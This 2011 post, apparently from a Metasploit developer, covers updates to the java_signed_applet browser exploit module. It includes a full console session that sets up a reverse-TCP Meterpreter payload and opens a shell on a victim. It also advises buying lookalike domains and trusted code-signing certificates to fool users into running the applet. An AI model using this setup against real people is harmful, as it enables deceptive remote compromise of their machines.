The best exploits are often not exploits at all -- they are code execution by design. One of my favorite examples of this is a signed java applet. If an applet is signed, the jvm allows it to run outside the normal security sandbox, giving it full access to do anything the user can do.
Metasploit has supported using signed applets as a browser exploit for quite awhile, but over the last week there have been a couple of improvements that might help you get more shells. The first of these improvements is replacing RJB signing (which requires a JDK and was somewhat difficult to get working) with OpenSSL (which works out of the box with a default Ruby installation). That led directly to the second major improvement: once the RJB dependency went away, it was a lot easier to support user-supplied certificates.
In a somewhat related change, all TCP server exploits (including all browser exploits, such as java_signed_applet) now accept arbitrary SSL certificates. Here's what it looks like from the attacker's perspective:
msf exploit(java_signed_applet) > show options Module options (exploit/multi/browser/java_signed_applet): Name Current Setting Required Description ---- --------------- -------- ----------- APPLETNAME SiteLoader yes The main applet's class name. CERTCN SiteLoader yes The CN= value for the certificate. Cannot contain ',' or '/' SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 443 yes The local port to listen on. SSL true no Negotiate SSL for incoming connections SSLCert example.net.crt no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) SigningCert example.net.pfx no Path to a signing certificate in PEM or PKCS12 (.pfx) format SigningKey no Path to a signing key in PEM format SigningKeyPass password no Password for signing key (required if SigningCert is a .pfx) URIPATH / no The URI to use for this exploit (default is random) Payload options (java/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.168.10 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Generic (Java Payload) msf exploit(java_signed_applet) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.168.10:4444 [*] Using URL: https://0.0.0.0:443/ [*] Local IP: https://192.168.168.10:443/ [*] Server started. msf exploit(java_signed_applet) > [*] Sending stage (27642 bytes) to 192.168.168.11 [*] Meterpreter session 1 opened (192.168.168.10:4444 -> 192.168.168.11:37066) at 2011-05-26 18:30:13 -0600
There are two options above with which we are primarily concerned. First, SSLCert is a file containing a CA-signed SSL certificate in PEM format. Second, SigningCert is a PKCS12 file that came back from a code signing CA. I found no official list of CAs that java will accept, but http://www.spikezilla-software.com/blog/?p=21 has a pretty good list. SigningCert will also accept a PEM file, but note that you have to include a cert chain leading back to a trusted root for Java to trust the jar. If you have them in different files, you can just concatenate the PEM versions of the certs in the chain.
Before these changes (and now if you don't provide a CA-signed cert), this is what the victim would see on recent JVMs:
Of particular note is that recent JVMs don't display the cert's CN in the Publisher line any more unless the cert is trusted. Also notice that "Always trust" is unchecked by default. With the provided SSLCert, the victim's browser will give all normal indications that the site is legitimate -- a lock, a different colored url bar, whatever. Once the applet loads, this is what the victim will see on an old JVM (1.6.0_20):
I'm betting tons of people will click "Run" without thinking twice. Some time since 1.6.0_20, the text changed. Here is the same dialog on 1.6.0_25 (latest):
Notice the text at the bottom has become much scarier. "This application will run with unrestricted access" sounds a little more dangerous than "validated by a trusted source." Also, the window title is no longer a "Warning", merely "Information," and the default is still to "Always trust." It's quite likely that a lot of people will still click.
Unfortunately, IE protected mode can give us some headaches. To go from running inside the browser to running independently, we have to write an executable of some sort. Normally for java payloads, this is just the same jar used for the applet, executed again with java. Writing it out is fine and dandy. Where we run into issues is executing it. Since we're running outside of protected mode in IE7+, the user gets an ugly popup:
Eww. One way around this is to use java meterpreter instead of native and set Spawn 0 which prevents running outside of IE. The problem with this approach, of course, is that if the victim closes the browser, you lose your shell. Additionally, running any outside executable (including tasklist.exe when you type 'ps' in java meterpreter) still invokes the popup and since it's not necessarily associated with any website at that point, the user is pretty likely to freak out and click "Don't allow".
You now have a way to make your signed applets look a lot more convincing. Code signing certs are pretty cheap -- around a hundred bucks. Grabbing a domain and cert for company.net when you're pentesting company.com will be worth it's weight in shells. Unfortunately, recent mitigations in IE make it somewhat less likely to get high click rates. On the other hand, it probably doesn't matter that much, since one shell is all it takes.
If you have any ideas for dealing with protected mode, please contact me in #metasploit on Freenode, or @egyp7 on twitter.